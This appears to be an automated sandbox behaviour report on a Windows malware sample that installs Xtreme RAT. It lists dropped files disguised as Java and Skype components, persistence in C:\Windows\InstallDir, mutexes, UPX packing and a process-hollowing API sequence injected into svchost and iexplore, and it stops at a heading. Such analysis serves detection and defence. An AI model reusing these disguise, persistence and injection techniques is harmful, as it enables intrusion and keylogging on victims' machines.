Source: C:\Windows\explorer.exe	Directory queried: C:\Users\user\Documents			Jump to behavior
Source: C:\Windows\explorer.exe	Directory queried: C:\Users\user\Documents

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Windows\explorer.exe

Executable created and started: C:\Windows\InstallDir\Server.exe

Drops files with a non-matching file extension (content does not match file extension)

Show sources

Source: C:\Windows\System32\xcopy.exe

File created: C:\Users\user\AppData\Roaming\Oracle\bin\javacpl.cpl

Jump to dropped file

Drops PE files

Show sources

Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jfxwebkit.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\JAWTAccessBridge.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\unpack200.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\wsdetect.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\javacpl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\sxz.exe	File created: C:\Users\user~1\AppData\Local\Temp\server.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\sunmscapi.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\bci.dll	Jump to dropped file
Source: C:\Windows\InstallDir\Server.exe	File created: C:\Users\user~1\AppData\Local\Temp\358saxio.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\plugin2\npjp2.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\ssv.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jfxmedia.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\javaw.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\prism_es2.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\glass.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\java_crw_demo.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jaas_nt.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jsound.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jp2native.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jli.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\fontmanager.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\javafx_font.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\zip.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\kinit.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\sunec.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\JavaAccessBridge.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\resource.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\dtplugin\npdeployJava1.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\nio.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jabswitch.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\WindowsAccessBridge.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jp2iexp.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jjs.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\fxplugins.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\mlib_image.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\decora_sse.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Skype.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\t2k.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\prism_common.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\management.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jfr.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\prism_d3d.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\splashscreen.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\dtplugin\deployJava1.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\plugin2\msvcr100.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\j2pkcs11.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\klist.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\javaws.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\tnameserv.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\javafx_iio.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\dt_shmem.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\rmid.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\gstreamer-lite.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\instrument.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\dt_socket.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\unpack.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jp2ssv.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\orbd.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\eula.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jsdt.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jsoundds.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\prism_sw.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\policytool.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\hprof.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\j2pcsc.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\javafx_font_t2k.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\java.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\javacpl.cpl	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\ssvagent.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\java.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\glib-lite.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\servertool.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\server.exe	File created: C:\Windows\InstallDir\Server.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\msvcr100.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\rmiregistry.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\net.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\ktab.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\deploy.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\pack200.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\lcms.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\dcpr.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\kcms.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jdwp.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\w2k_lsa_auth.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\npt.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jpeg.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\verify.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\keytool.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\awt.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\jawt.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\java-rmi.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\bin\client\jvm.dll	Jump to dropped file

Drops PE files to the windows directory (C:\Windows)

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

File created: C:\Windows\InstallDir\Server.exe

Jump to dropped file

Creates license or readme file

Show sources

Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\README.txt
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\THIRDPARTYLICENSEREADME-JAVAFX.txt
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\THIRDPARTYLICENSEREADME-JAVAFX.txt
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\THIRDPARTYLICENSEREADME.txt
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\Oracle\THIRDPARTYLICENSEREADME.txt

Data Obfuscation:

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

Code function: 3_2_00C83D8C LoadLibraryA,GetProcAddress,FreeLibrary,

3_2_00C83D8C

Uses code obfuscation techniques (call, push, ret)

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C82D48 push 00C82D74h; ret	3_2_00C82D6C
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C82D46 push 00C82D74h; ret	3_2_00C82D6C
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C83420 push 00C8349Fh; ret	3_2_00C83497
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C879DC push 00C87A65h; ret	3_2_00C87A5D
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C82924 push 00C82950h; ret	3_2_00C82948
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C880DC push 00C88108h; ret	3_2_00C88100
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C82548 push 00C82580h; ret	3_2_00C82578
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C88898 push 00C888C4h; ret	3_2_00C888BC
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C83F94 push 00C83FC0h; ret	3_2_00C83FB8
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C8258C push 00C825B8h; ret	3_2_00C825B0
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C823A4 push 00C823DEh; ret	3_2_00C823D6
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C879DA push 00C87A65h; ret	3_2_00C87A5D
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C848DC push 00C84908h; ret	3_2_00C84900
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C87DD0 push 00C87E13h; ret	3_2_00C87E0B
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C84578 push 00C845DCh; ret	3_2_00C845D4
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C82AD8 push 00C82B04h; ret	3_2_00C82AFC
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C8295C push 00C82988h; ret	3_2_00C82980
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C879A0 push 00C879D8h; ret	3_2_00C879D0
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C8503C push 00C85068h; ret	3_2_00C85060
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C84034 push 00C84060h; ret	3_2_00C84058
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C89AA8 push 00C89AECh; ret	3_2_00C89AE4
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C83C88 push 00C83CC0h; ret	3_2_00C83CB8
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C82D48 push 00C82D74h; ret	3_1_00C82D6C
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C82D46 push 00C82D74h; ret	3_1_00C82D6C
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C83420 push 00C8349Fh; ret	3_1_00C83497
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C879DC push 00C87A65h; ret	3_1_00C87A5D
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C82924 push 00C82950h; ret	3_1_00C82948
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C880DC push 00C88108h; ret	3_1_00C88100
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C82548 push 00C82580h; ret	3_1_00C82578
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C88898 push 00C888C4h; ret	3_1_00C888BC
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C83F94 push 00C83FC0h; ret	3_1_00C83FB8

Sample is packed with UPX

Show sources

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Spreading:

Enumerates the file system

Show sources

Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C835B0 FindFirstFileW,CloseHandle,	3_2_00C835B0
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C835B0 FindFirstFileW,CloseHandle,	3_1_00C835B0
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00C835B0 FindFirstFileW,CloseHandle,	5_2_00C835B0
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 6_2_00C835B0 FindFirstFileW,CloseHandle,	6_2_00C835B0
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_00405FAC GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	12_2_00405FAC
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_2_00C835B0 FindFirstFileW,CloseHandle,	15_2_00C835B0
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_1_00C835B0 FindFirstFileW,CloseHandle,	15_1_00C835B0

System Summary:

Installs Xtreme RAT

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe	Window created: XtremeKeylogger			Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	Window created: XtremeKeylogger

Contains functionality to call native functions

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C84600 CreateProcessW,Sleep,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,SetThreadContext,ResumeThread,	3_2_00C84600
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C84600 CreateProcessW,Sleep,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,SetThreadContext,ResumeThread,	3_1_00C84600
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00C84600 CreateProcessW,Sleep,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,SetThreadContext,ResumeThread,	5_2_00C84600
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 6_2_00C84600 CreateProcessW,Sleep,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,SetThreadContext,ResumeThread,	6_2_00C84600
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_2_00C84600 CreateProcessW,Sleep,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,SetThreadContext,ResumeThread,	15_2_00C84600
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_1_00C84600 CreateProcessW,Sleep,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,SetThreadContext,ResumeThread,	15_1_00C84600

Creates files inside the system directory

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

File created: C:\Windows\InstallDir\

Jump to behavior

Creates mutexes

Show sources

Source: C:\Windows\InstallDir\Server.exe	Mutant created: \Sessions\1\BaseNamedObjects\XTREMEUPDATE
Source: C:\Windows\System32\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\DSma9HnKaPERSIST
Source: C:\Windows\System32\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\DSma9HnKaEXIT
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Mutant created: \Sessions\1\BaseNamedObjects\C7379241760F18F4D05EC3BE
Source: C:\Windows\InstallDir\Server.exe	Mutant created: \Sessions\1\BaseNamedObjects\DSma9HnKa

Detected potential crypto function

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C8939E	3_2_00C8939E
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C88EF8	3_2_00C88EF8
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C8941B	3_2_00C8941B
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C8939E	3_1_00C8939E
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C88EF8	3_1_00C88EF8
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C8941B	3_1_00C8941B
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00C88ECC	5_2_00C88ECC
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00C8939E	5_2_00C8939E
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00C8941B	5_2_00C8941B
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00C88EC4	5_2_00C88EC4
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 6_2_00C8939E	6_2_00C8939E
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 6_2_00C8941B	6_2_00C8941B
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 6_2_00C88ECC	6_2_00C88ECC
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 6_2_00C88EC4	6_2_00C88EC4
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_00485828	12_2_00485828
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_00482ECC	12_2_00482ECC
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_00455A30	12_2_00455A30
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_0046816C	12_2_0046816C
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_00478D98	12_2_00478D98
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_0046DDC8	12_2_0046DDC8
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_0047A380	12_2_0047A380
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_0043957C	12_2_0043957C
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_00402180	12_2_00402180
Source: C:\Windows\explorer.exe	Code function: 14_1_01B8939E	14_1_01B8939E
Source: C:\Windows\explorer.exe	Code function: 14_1_01B8941B	14_1_01B8941B
Source: C:\Windows\explorer.exe	Code function: 14_1_01B88EF8	14_1_01B88EF8
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_2_00C8939E	15_2_00C8939E
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_2_00C8941B	15_2_00C8941B
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_2_00C88ECC	15_2_00C88ECC
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_2_00C88EC4	15_2_00C88EC4
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_1_00C8939E	15_1_00C8939E
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_1_00C8941B	15_1_00C8941B
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_1_00C88ECC	15_1_00C88ECC
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_1_00C88EC4	15_1_00C88EC4

Found potential string decryption / allocating functions

Show sources

Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: String function: 00404D88 appears 80 times
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: String function: 00406E2C appears 63 times
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: String function: 00C854EC appears 178 times
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: String function: 00C82F90 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: String function: 00C81F1C appears 180 times
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: String function: 00C82744 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: String function: 00C81BB4 appears 354 times
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: String function: 00C833A8 appears 80 times
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: String function: 00C888D0 appears 62 times
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: String function: 00C826F4 appears 40 times
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: String function: 00C854EC appears 89 times
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: String function: 00C81F1C appears 90 times
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: String function: 00C81BB4 appears 177 times
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: String function: 00C833A8 appears 47 times
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: String function: 00C888D0 appears 41 times
Source: C:\Windows\InstallDir\Server.exe	Code function: String function: 00C854EC appears 178 times
Source: C:\Windows\InstallDir\Server.exe	Code function: String function: 00C82F90 appears 52 times
Source: C:\Windows\InstallDir\Server.exe	Code function: String function: 00C81F1C appears 180 times
Source: C:\Windows\InstallDir\Server.exe	Code function: String function: 00C82744 appears 42 times
Source: C:\Windows\InstallDir\Server.exe	Code function: String function: 00C81BB4 appears 354 times
Source: C:\Windows\InstallDir\Server.exe	Code function: String function: 00C833A8 appears 70 times
Source: C:\Windows\InstallDir\Server.exe	Code function: String function: 00C888D0 appears 82 times
Source: C:\Windows\InstallDir\Server.exe	Code function: String function: 00C826F4 appears 40 times
Source: C:\Windows\explorer.exe	Code function: String function: 01B81BB4 appears 87 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00C854EC appears 89 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00C81F1C appears 90 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00C81BB4 appears 177 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00C833A8 appears 46 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00C888D0 appears 41 times

PE file contains executable resources (Code or Archives)

Show sources

Source: 358saxio.exe.3.dr	Static PE information: Resource name: RT_GROUP_CURSOR type: International EBCDIC text, with no line terminators, with escape sequences
Source: Skype.exe.12.dr	Static PE information: Resource name: RT_GROUP_CURSOR type: International EBCDIC text, with no line terminators, with escape sequences
Source: 358saxio.exe.27.dr	Static PE information: Resource name: RT_GROUP_CURSOR type: International EBCDIC text, with no line terminators, with escape sequences
Source: Skype.exe.35.dr	Static PE information: Resource name: RT_GROUP_CURSOR type: International EBCDIC text, with no line terminators, with escape sequences

PE file contains strange resources

Show sources

